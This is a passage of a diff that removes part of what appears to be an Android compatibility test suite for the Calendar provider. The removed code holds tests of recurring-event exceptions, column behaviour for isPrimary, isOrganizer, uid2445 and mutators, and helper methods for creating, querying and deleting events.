-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "with exceptions");
-        }
-
-        // TODO: this test currently fails due to limitations in the provider
-        //assertEquals("exceptional recurrence instance count", 3, instances.getCount());
-
-        instances.close();
-
-        // delete the calendar
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Tests insertion of event exceptions before and after a recurring event is created.
-     * <p>
-     * The server may send exceptions down before the event they refer to, so the provider
-     * fills in the originalId of previously-existing exceptions when a recurring event is
-     * inserted.  Make sure that works.
-     * <p>
-     * The _sync_id column is only unique with a given calendar.  We create events with
-     * identical originalSyncId values in two different calendars to verify that the provider
-     * doesn't update unrelated events.
-     * <p>
-     * We can't use the /exception URI, because that only works if the events are created
-     * in order.
-     */
-    @MediumTest
-    public void testOutOfOrderRecurrenceExceptions() {
-        String account1 = "roid1_account";
-        String account2 = "roid2_account";
-        String startWhen = "1987-08-09T12:00:00";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account1);
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account2);
-
-        // Create calendars
-        long calendarId1 = createAndVerifyCalendar(account1, seed++, null);
-        long calendarId2 = createAndVerifyCalendar(account2, seed++, null);
-
-
-        // Generate base event.
-        ContentValues recurEventValues = EventHelper.getNewRecurringEventValues(account1, seed++,
-                calendarId1, true, startWhen, "PT1H", "FREQ=DAILY;WKST=SU;COUNT=10");
-
-        // Select a period that gives us 3 instances.
-        String timeZone = recurEventValues.getAsString(Events.EVENT_TIMEZONE);
-        String testStart = "1987-08-09T00:00:00";
-        String testEnd = "1987-08-11T23:59:59";
-        String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.EVENT_ID };
-
-        /*
-         * We're interested in exploring what the instance expansion code does with the events
-         * as they arrive.  It won't do anything at event-creation time unless the instance
-         * range already covers the interesting set of dates, so we need to create and remove
-         * an instance in the same time frame beforehand.
-         */
-        expandInstanceRange(account1, calendarId1, testStart, testEnd, timeZone);
-
-        /*
-         * Instances table should be expanded.  Do the test.
-         */
-
-        final String MAGIC_SYNC_ID = "MagicSyncId";
-        recurEventValues.put(Events._SYNC_ID, MAGIC_SYNC_ID);
-
-        // Generate exceptions from base, removing the generated _sync_id and setting the
-        // base event's _sync_id as originalSyncId.
-        ContentValues beforeExcepValues, afterExcepValues, unrelatedExcepValues;
-        beforeExcepValues = new ContentValues(recurEventValues);
-        afterExcepValues = new ContentValues(recurEventValues);
-        unrelatedExcepValues = new ContentValues(recurEventValues);
-        beforeExcepValues.remove(Events._SYNC_ID);
-        afterExcepValues.remove(Events._SYNC_ID);
-        unrelatedExcepValues.remove(Events._SYNC_ID);
-        beforeExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
-        afterExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
-        unrelatedExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
-
-        // Disassociate the "unrelated" exception by moving it to the other calendar.
-        unrelatedExcepValues.put(Events.CALENDAR_ID, calendarId2);
-
-        // We shift the start time by half an hour, and use the same _sync_id.
-        final long ONE_DAY_MILLIS = 24 * 60 * 60 * 1000;
-        final long ONE_HOUR_MILLIS  = 60 * 60 * 1000;
-        final long HALF_HOUR_MILLIS  = 30 * 60 * 1000;
-        long dtstartMillis = recurEventValues.getAsLong(Events.DTSTART) + ONE_DAY_MILLIS;
-        beforeExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
-        beforeExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
-        beforeExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
-        beforeExcepValues.remove(Events.DURATION);
-        beforeExcepValues.remove(Events.RRULE);
-        beforeExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
-        dtstartMillis += ONE_DAY_MILLIS;
-        afterExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
-        afterExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
-        afterExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
-        afterExcepValues.remove(Events.DURATION);
-        afterExcepValues.remove(Events.RRULE);
-        afterExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
-        dtstartMillis += ONE_DAY_MILLIS;
-        unrelatedExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
-        unrelatedExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
-        unrelatedExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
-        unrelatedExcepValues.remove(Events.DURATION);
-        unrelatedExcepValues.remove(Events.RRULE);
-        unrelatedExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
-
-
-        // Create "before" and "unrelated" exceptions.
-        long beforeEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
-                beforeExcepValues);
-        assertTrue(beforeEventId >= 0);
-        long unrelatedEventId = createAndVerifyEvent(account2, seed, calendarId2, true,
-                unrelatedExcepValues);
-        assertTrue(unrelatedEventId >= 0);
-
-        // Create recurring event.
-        long recurEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
-                recurEventValues);
-        assertTrue(recurEventId >= 0);
-
-        // Create "after" exception.
-        long afterEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
-                afterExcepValues);
-        assertTrue(afterEventId >= 0);
-
-        if (Log.isLoggable(TAG, Log.DEBUG)) {
-            Log.d(TAG, "before=" + beforeEventId + ", unrel=" + unrelatedEventId +
-                    ", recur=" + recurEventId + ", after=" + afterEventId);
-        }
-
-        // Check to see how many instances we get.  If the recurrence and the exception don't
-        // get paired up correctly, we'll see too many instances.
-        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId1, calendarId2 });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "with exception");
-        }
-
-        assertEquals("initial recurrence instance count", 3, instances.getCount());
-
-        instances.close();
-
-
-        /*
-         * Now we want to verify that:
-         * - "before" and "after" have an originalId equal to our recurEventId
-         * - "unrelated" has no originalId
-         */
-        Cursor c = null;
-        try {
-            final String[] PROJECTION = new String[] { Events.ORIGINAL_ID };
-            Uri eventUri;
-            Long originalId;
-
-            eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, beforeEventId);
-            c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToNext();
-            originalId = c.getLong(0);
-            assertNotNull(originalId);
-            assertEquals(recurEventId, (long) originalId);
-            c.close();
-
-            eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, afterEventId);
-            c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToNext();
-            originalId = c.getLong(0);
-            assertNotNull(originalId);
-            assertEquals(recurEventId, (long) originalId);
-            c.close();
-
-            eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, unrelatedEventId);
-            c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
-            assertEquals(1, c.getCount());
-            c.moveToNext();
-            assertNull(c.getString(0));
-            c.close();
-
-            c = null;
-        } finally {
-            if (c != null) {
-                c.close();
-            }
-        }
-
-        // delete the calendars
-        removeAndVerifyCalendar(account1, calendarId1);
-        removeAndVerifyCalendar(account2, calendarId2);
-    }
-
-    /**
-     * Tests exceptions that modify all future instances of a recurring event.
-     */
-    @MediumTest
-    public void testForwardRecurrenceExceptions() {
-        String account = "refx_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Create recurring event
-        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
-                calendarId, true, "1999-01-01T06:00:00", "PT1H", "FREQ=WEEKLY;WKST=SU;COUNT=10");
-        long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
-
-        // Add some attendees and reminders.
-        addAttendees(account, eventId, seed++);
-        addReminders(account, eventId, seed++);
-
-        // Get some instances.
-        String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
-        String testStart = "1999-01-01T00:00:00";
-        String testEnd = "1999-01-29T23:59:59";
-        String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
-
-        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "initial");
-        }
-
-        assertEquals("initial recurrence instance count", 5, instances.getCount());
-
-        // Modify starting from 3rd instance.
-        instances.moveToPosition(2);
-
-        long startMillis;
-        ContentValues excepValues;
-
-        // Replace with a new recurrence rule.  We move the start time an hour later, and cap
-        // it at two instances.
-        startMillis = instances.getLong(0);
-        excepValues = EventHelper.getNewExceptionValues(startMillis);
-        excepValues.put(Events.DTSTART, startMillis + 3600*1000);
-        excepValues.put(Events.RRULE, "FREQ=WEEKLY;COUNT=2;WKST=SU");
-        long excepEventId = createAndVerifyException(account, eventId, excepValues, true);
-        instances.close();
-
-
-        // Check to see if it took.
-        instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "with new rule");
-        }
-
-        assertEquals("count with exception", 4, instances.getCount());
-
-        long prevMinute = -1;
-        for (int i = 0; i < 4; i++) {
-            long startMinute;
-            instances.moveToNext();
-            switch (i) {
-                case 0:
-                    startMinute = instances.getLong(1);
-                    break;
-                case 1:
-                case 3:
-                    startMinute = instances.getLong(1);
-                    assertEquals("first/last pairs match", prevMinute, startMinute);
-                    break;
-                case 2:
-                    startMinute = instances.getLong(1);
-                    assertFalse("first two != last two", prevMinute == startMinute);
-                    break;
-                default:
-                    fail();
-                    startMinute = -1;   // make compiler happy
-                    break;
-            }
-
-            prevMinute = startMinute;
-        }
-        instances.close();
-
-        // delete the calendar
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Tests exceptions that modify all instances of a recurring event.  This is not really an
-     * exception, since it won't create a new event, but supporting it allows us to use the
-     * exception URI without having to determine whether the "start from here" instance is the
-     * very first instance.
-     */
-    @MediumTest
-    public void testFullRecurrenceUpdate() {
-        String account = "ref_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Create recurring event
-        String rrule = "FREQ=DAILY;WKST=MO;COUNT=100";
-        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
-                calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
-        long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
-        //Log.i(TAG, "+++ eventId is " + eventId);
-
-        // Get some instances.
-        String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
-        String testStart = "1997-08-01T00:00:00";
-        String testEnd = "1997-08-31T23:59:59";
-        String[] projection = { Instances.BEGIN, Instances.EVENT_LOCATION };
-        String newLocation = "NEW!";
-
-        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "initial");
-        }
-
-        assertEquals("initial recurrence instance count", 3, instances.getCount());
-
-        instances.moveToFirst();
-        long startMillis = instances.getLong(0);
-        ContentValues excepValues = EventHelper.getNewExceptionValues(startMillis);
-        excepValues.put(Events.RRULE, rrule);   // identifies this as an "all future events" excep
-        excepValues.put(Events.EVENT_LOCATION, newLocation);
-        long excepEventId = createAndVerifyException(account, eventId, excepValues, true);
-        instances.close();
-
-        // Check results.
-        assertEquals("full update does not create new ID", eventId, excepEventId);
-
-        instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId });
-        assertEquals("post-update instance count", 3, instances.getCount());
-        while (instances.moveToNext()) {
-            assertEquals("new location", newLocation, instances.getString(1));
-        }
-        instances.close();
-
-        // delete the calendar
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    @MediumTest
-    public void testMultiRuleRecurrence() {
-        String account = "multirule_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Create recurring event
-        String rrule = "FREQ=DAILY;WKST=MO;COUNT=5\nFREQ=WEEKLY;WKST=SU;COUNT=5";
-        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
-                calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
-        long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
-
-        // TODO: once multi-rule RRULEs are fully supported, verify that they work
-
-        // delete the calendar
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Issue bad requests and expect them to get rejected.
-     */
-    @MediumTest
-    public void testBadRequests() {
-        String account = "neg_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Create recurring event
-        String rrule = "FREQ=OFTEN;WKST=MO";
-        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
-                calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
-        try {
-            createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
-            fail("Bad recurrence rule should have been rejected");
-        } catch (IllegalArgumentException iae) {
-            // good
-        }
-
-        // delete the calendar
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Tests correct behavior of Calendars.isPrimary column
-     */
-    @MediumTest
-    public void testCalendarIsPrimary() {
-        String account = "ec_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        int isPrimary;
-        Cursor cursor;
-        ContentValues values = new ContentValues();
-
-        final long calendarId = createAndVerifyCalendar(account, seed++, null);
-        final Uri uri = ContentUris.withAppendedId(Calendars.CONTENT_URI, calendarId);
-
-        // verify when ownerAccount != account_name && isPrimary IS NULL
-        cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
-        cursor.moveToFirst();
-        isPrimary = cursor.getInt(0);
-        cursor.close();
-        assertEquals("isPrimary should be 0 if ownerAccount != account_name", 0, isPrimary);
-
-        // verify when ownerAccount == account_name && isPrimary IS NULL
-        values.clear();
-        values.put(Calendars.OWNER_ACCOUNT, account);
-        mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
-        cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
-        cursor.moveToFirst();
-        isPrimary = cursor.getInt(0);
-        cursor.close();
-        assertEquals("isPrimary should be 1 if ownerAccount == account_name", 1, isPrimary);
-
-        // verify isPrimary IS NOT NULL
-        values.clear();
-        values.put(Calendars.IS_PRIMARY, SOME_ARBITRARY_INT);
-        mContentResolver.update(uri, values, null, null);
-        cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
-        cursor.moveToFirst();
-        isPrimary = cursor.getInt(0);
-        cursor.close();
-        assertEquals("isPrimary should be the value it was set to", SOME_ARBITRARY_INT, isPrimary);
-
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-    }
-
-    /**
-     * Tests correct behavior of Events.isOrganizer column
-     */
-    @MediumTest
-    public void testEventsIsOrganizer() {
-        String account = "ec_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        int isOrganizer;
-        Cursor cursor;
-        ContentValues values = new ContentValues();
-
-        final long calendarId = createAndVerifyCalendar(account, seed++, null);
-        final long eventId = createAndVerifyEvent(account, seed, calendarId, true, null);
-        final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-
-        // verify when ownerAccount != organizer && isOrganizer IS NULL
-        cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
-        cursor.moveToFirst();
-        isOrganizer = cursor.getInt(0);
-        cursor.close();
-        assertEquals("isOrganizer should be 0 if ownerAccount != organizer", 0, isOrganizer);
-
-        // verify when ownerAccount == account_name && isOrganizer IS NULL
-        values.clear();
-        values.put(Events.ORGANIZER, CalendarHelper.generateCalendarOwnerEmail(account));
-        mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
-        cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
-        cursor.moveToFirst();
-        isOrganizer = cursor.getInt(0);
-        cursor.close();
-        assertEquals("isOrganizer should be 1 if ownerAccount == organizer", 1, isOrganizer);
-
-        // verify isOrganizer IS NOT NULL
-        values.clear();
-        values.put(Events.IS_ORGANIZER, SOME_ARBITRARY_INT);
-        mContentResolver.update(uri, values, null, null);
-        cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
-        cursor.moveToFirst();
-        isOrganizer = cursor.getInt(0);
-        cursor.close();
-        assertEquals(
-                "isPrimary should be the value it was set to", SOME_ARBITRARY_INT, isOrganizer);
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-    }
-
-    /**
-     * Tests correct behavior of Events.uid2445 column
-     */
-    @MediumTest
-    public void testEventsUid2445() {
-        String account = "ec_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        final String uid = "uid_123";
-        Cursor cursor;
-        ContentValues values = new ContentValues();
-        final long calendarId = createAndVerifyCalendar(account, seed++, null);
-        final long eventId = createAndVerifyEvent(account, seed, calendarId, true, null);
-        final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-
-        // Verify default is null
-        cursor = mContentResolver.query(uri, new String[] {Events.UID_2445}, null, null, null);
-        cursor.moveToFirst();
-        assertTrue(cursor.isNull(0));
-        cursor.close();
-
-        // Write column value and read back
-        values.clear();
-        values.put(Events.UID_2445, uid);
-        mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
-        cursor = mContentResolver.query(uri, new String[] {Events.UID_2445}, null, null, null);
-        cursor.moveToFirst();
-        assertFalse(cursor.isNull(0));
-        assertEquals("Column uid_2445 has unexpected value.", uid, cursor.getString(0));
-
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-    }
-
-    @MediumTest
-    public void testMutatorSetCorrectly() {
-        String account = "ec_account";
-        String packageName = "android.provider.cts";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        String mutator;
-        Cursor cursor;
-        ContentValues values = new ContentValues();
-        final long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Verify mutator is set to the package, via:
-        // Create:
-        final long eventId = createAndVerifyEvent(account, seed, calendarId, false, null);
-        final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-        cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
-        cursor.moveToFirst();
-        mutator = cursor.getString(0);
-        cursor.close();
-        assertEquals(packageName, mutator);
-
-        // Edit:
-        // First clear the mutator column
-        values.clear();
-        values.putNull(Events.MUTATORS);
-        mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
-        cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
-        cursor.moveToFirst();
-        mutator = cursor.getString(0);
-        cursor.close();
-        assertNull(mutator);
-        // Now edit the event and verify the mutator column
-        values.clear();
-        values.put(Events.TITLE, "New title");
-        mContentResolver.update(uri, values, null, null);
-        cursor = mContentResolver.query(uri, new String[] {Events.MUTATORS}, null, null, null);
-        cursor.moveToFirst();
-        mutator = cursor.getString(0);
-        cursor.close();
-        assertEquals(packageName, mutator);
-
-        // Clean up the event
-        assertEquals(1, EventHelper.deleteEventAsSyncAdapter(mContentResolver, uri, account));
-
-        // Delete:
-        // First create as sync adapter
-        final long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, null);
-        final Uri uri2 = ContentUris.withAppendedId(Events.CONTENT_URI, eventId2);
-        // Now delete the event and verify
-        values.clear();
-        values.put(Events.MUTATORS, packageName);
-        removeAndVerifyEvent(uri2, values, account);
-
-
-        // delete the calendar
-        removeAndVerifyCalendar(account, calendarId);
-    }
-
-    /**
-     * Acquires the set of instances that appear between the specified start and end points.
-     *
-     * @param timeZone Time zone to use when parsing startWhen and endWhen
-     * @param startWhen Start date/time, in RFC 3339 format
-     * @param endWhen End date/time, in RFC 3339 format
-     * @param projection Array of desired column names
-     * @return Cursor with instances (caller should close when done)
-     */
-    private Cursor getInstances(String timeZone, String startWhen, String endWhen,
-            String[] projection, long[] calendarIds) {
-        Time startTime = new Time(timeZone);
-        startTime.parse3339(startWhen);
-        long startMillis = startTime.toMillis(false);
-
-        Time endTime = new Time(timeZone);
-        endTime.parse3339(endWhen);
-        long endMillis = endTime.toMillis(false);
-
-        // We want a list of instances that occur between the specified dates.  Use the
-        // "instances/when" URI.
-        Uri uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_URI,
-                startMillis + "/" + endMillis);
-
-        String where = null;
-        for (int i = 0; i < calendarIds.length; i++) {
-            if (i > 0) {
-                where += " OR ";
-            } else {
-                where = "";
-            }
-            where += (Instances.CALENDAR_ID + "=" + calendarIds[i]);
-        }
-        Cursor instances = mContentResolver.query(uri, projection, where, null,
-                projection[0] + " ASC");
-
-        return instances;
-    }
-
-    /**
-     * Acquires the set of instances that appear between the specified start and end points
-     * that match the search terms.
-     *
-     * @param timeZone Time zone to use when parsing startWhen and endWhen
-     * @param startWhen Start date/time, in RFC 3339 format
-     * @param endWhen End date/time, in RFC 3339 format
-     * @param search A collection of tokens to search for.  The columns searched are
-     *   hard-coded in the provider (currently title, description, location, attendee
-     *   name, attendee email).
-     * @param searchByDay If set, adjust start/end to calendar day boundaries.
-     * @param projection Array of desired column names
-     * @return Cursor with instances (caller should close when done)
-     */
-    private Cursor getInstancesSearch(String timeZone, String startWhen, String endWhen,
-            String search, boolean searchByDay, String[] projection, long[] calendarIds) {
-        Time startTime = new Time(timeZone);
-        startTime.parse3339(startWhen);
-        long startMillis = startTime.toMillis(false);
-
-        Time endTime = new Time(timeZone);
-        endTime.parse3339(endWhen);
-        long endMillis = endTime.toMillis(false);
-
-        Uri uri;
-        if (searchByDay) {
-            // start/end are Julian day numbers rather than time in milliseconds
-            int julianStart = Time.getJulianDay(startMillis, startTime.gmtoff);
-            int julianEnd = Time.getJulianDay(endMillis, endTime.gmtoff);
-            uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_SEARCH_BY_DAY_URI,
-                    julianStart + "/" + julianEnd + "/" + search);
-        } else {
-            uri = Uri.withAppendedPath(CalendarContract.Instances.CONTENT_SEARCH_URI,
-                    startMillis + "/" + endMillis + "/" + search);
-        }
-
-        String where = null;
-        for (int i = 0; i < calendarIds.length; i++) {
-            if (i > 0) {
-                where += " OR ";
-            } else {
-                where = "";
-            }
-            where += (Instances.CALENDAR_ID + "=" + calendarIds[i]);
-        }
-        // We want a list of instances that occur between the specified dates and that match
-        // the search terms.
-
-        Cursor instances = mContentResolver.query(uri, projection, where, null,
-                projection[0] + " ASC");
-
-        return instances;
-    }
-
-    /** debug -- dump instances cursor */
-    private static void dumpInstances(Cursor instances, String timeZone, String msg) {
-        Log.d(TAG, "Instances (" + msg + ")");
-
-        int posn = instances.getPosition();
-        instances.moveToPosition(-1);
-
-        //Log.d(TAG, "+++ instances has " + instances.getCount() + " rows, " +
-        //        instances.getColumnCount() + " columns");
-        while (instances.moveToNext()) {
-            long beginMil = instances.getLong(0);
-            Time beginT = new Time(timeZone);
-            beginT.set(beginMil);
-            String logMsg = "--> begin=" + beginT.format3339(false) + " (" + beginMil + ")";
-            for (int i = 2; i < instances.getColumnCount(); i++) {
-                logMsg += " [" + instances.getString(i) + "]";
-            }
-            Log.d(TAG, logMsg);
-        }
-        instances.moveToPosition(posn);
-    }
-
-
-    /**
-     * Counts the number of instances that appear between the specified start and end times.
-     */
-    private int getInstanceCount(String timeZone, String startWhen, String endWhen,
-                long[] calendarIds) {
-        Cursor instances = getInstances(timeZone, startWhen, endWhen,
-                new String[] { Instances._ID }, calendarIds);
-        int count = instances.getCount();
-        instances.close();
-        return count;
-    }
-
-    /**
-     * Deletes an event as app and sync adapter which removes it from the db and
-     * verifies after each.
-     *
-     * @param eventUri The uri for the event to delete
-     * @param accountName TODO
-     */
-    private void removeAndVerifyEvent(Uri eventUri, ContentValues eventValues, String accountName) {
-        // Delete event
-        EventHelper.deleteEvent(mContentResolver, eventUri, eventValues);
-        // Verify
-        verifyEvent(eventValues, ContentUris.parseId(eventUri));
-        // Delete as sync adapter
-        assertEquals(1,
-                EventHelper.deleteEventAsSyncAdapter(mContentResolver, eventUri, accountName));
-        // Verify
-        Cursor c = EventHelper.getEventByUri(mContentResolver, eventUri);
-        assertEquals(0, c.getCount());
-        c.close();
-    }
-
-    /**
-     * Creates an event on the given calendar and verifies it.
-     *
-     * @param account
-     * @param seed
-     * @param calendarId
-     * @param asSyncAdapter
-     * @param values optional pre created set of values; will have several new entries added
-     * @return the _id for the new event
-     */
-    private long createAndVerifyEvent(String account, int seed, long calendarId,
-            boolean asSyncAdapter, ContentValues values) {
-        // Create an event
-        if (values == null) {
-            values = EventHelper.getNewEventValues(account, seed, calendarId, asSyncAdapter);
-        }
-        Uri insertUri = Events.CONTENT_URI;
-        if (asSyncAdapter) {
-            insertUri = asSyncAdapter(insertUri, account, CTS_TEST_TYPE);
-        }
-        Uri uri = mContentResolver.insert(insertUri, values);
-        assertNotNull(uri);
-
-        // Verify
-        EventHelper.addDefaultReadOnlyValues(values, account, asSyncAdapter);
-        long eventId = ContentUris.parseId(uri);
-        assertTrue(eventId >= 0);
-
-        verifyEvent(values, eventId);
-        return eventId;
-    }
-
-    /**
-     * Updates an event, and verifies that the updates took.
-     */
-    private void updateAndVerifyEvent(String account, long calendarId, long eventId,
-            boolean asSyncAdapter, ContentValues updateValues) {
-        Uri uri = Uri.withAppendedPath(Events.CONTENT_URI, String.valueOf(eventId));
-        if (asSyncAdapter) {
-            uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
-        }
-        int count = mContentResolver.update(uri, updateValues, null, null);
-
-        // Verify
-        assertEquals(1, count);
-        verifyEvent(updateValues, eventId);
-    }
-
-    /**
-     * Creates an exception to a recurring event, and verifies it.
-     * @param account The account to use.
-     * @param originalEventId The ID of the original event.
-     * @param values Values for the exception; must include originalInstanceTime.
-     * @return The _id for the new event.
-     */
-    private long createAndVerifyException(String account, long originalEventId,
-            ContentValues values, boolean asSyncAdapter) {
-        // Create the exception
-        Uri uri = Uri.withAppendedPath(Events.CONTENT_EXCEPTION_URI,
-                String.valueOf(originalEventId));
-        if (asSyncAdapter) {
-            uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
-        }
-        Uri resultUri = mContentResolver.insert(uri, values);
-        assertNotNull(resultUri);
-        long eventId = ContentUris.parseId(resultUri);
-        assertTrue(eventId >= 0);
-        return eventId;
-    }
-
-    /**
-     * Deletes an exception to a recurring event.
-     * @param account The account to use.
-     * @param eventId The ID of the original recurring event.
-     * @param excepId The ID of the exception event.
-     * @return The number of rows deleted.
-     */
-    private int deleteException(String account, long eventId, long excepId) {
-        Uri uri = Uri.withAppendedPath(Events.CONTENT_EXCEPTION_URI,
-                eventId + "/" + excepId);
-        uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
-        return mContentResolver.delete(uri, null, null);
-    }
-
-    /**
-     * Add some sample attendees to an event.
-     */
-    private void addAttendees(String account, long eventId, int seed) {
-        assertTrue(eventId >= 0);
-        AttendeeHelper.addAttendee(mContentResolver, eventId,
-                "Attender" + seed,
-                CalendarHelper.generateCalendarOwnerEmail(account),
-                Attendees.ATTENDEE_STATUS_ACCEPTED,
-                Attendees.RELATIONSHIP_ORGANIZER,
-                Attendees.TYPE_NONE);
-        seed++;
-
-        AttendeeHelper.addAttendee(mContentResolver, eventId,
-                "Attender" + seed,
-                "attender" + seed + "@example.com",
-                Attendees.ATTENDEE_STATUS_TENTATIVE,
-                Attendees.RELATIONSHIP_NONE,
-                Attendees.TYPE_NONE);
-    }
-
-    /**
-     * Add some sample reminders to an event.
-     */
-    private void addReminders(String account, long eventId, int seed) {
-        ReminderHelper.addReminder(mContentResolver, eventId, seed * 5, Reminders.METHOD_ALERT);
-    }
-
-    /**
-     * Creates and removes an event that covers a specific range of dates.  Call this to
-     * cause the provider to expand the CalendarMetaData min/max values to include the range.
-     * Useful when you want to see the provider expand the instances as the events are added.
-     */
-    private void expandInstanceRange(String account, long calendarId, String testStart,
-            String testEnd, String timeZone) {
-        int seed = 0;
-
-        // TODO: this should use an UNTIL rule based on testEnd, not a COUNT
-        ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed,
-                calendarId, true, testStart, "PT1H", "FREQ=DAILY;WKST=SU;COUNT=100");
-
-        /*
-         * Some of the helper functions modify "eventValues", so we want to make sure we're
-         * passing a copy of anything we want to re-use.
-         */
-        long eventId = createAndVerifyEvent(account, seed, calendarId, true,
-                new ContentValues(eventValues));
-        assertTrue(eventId >= 0);
-
-        String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
-        Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
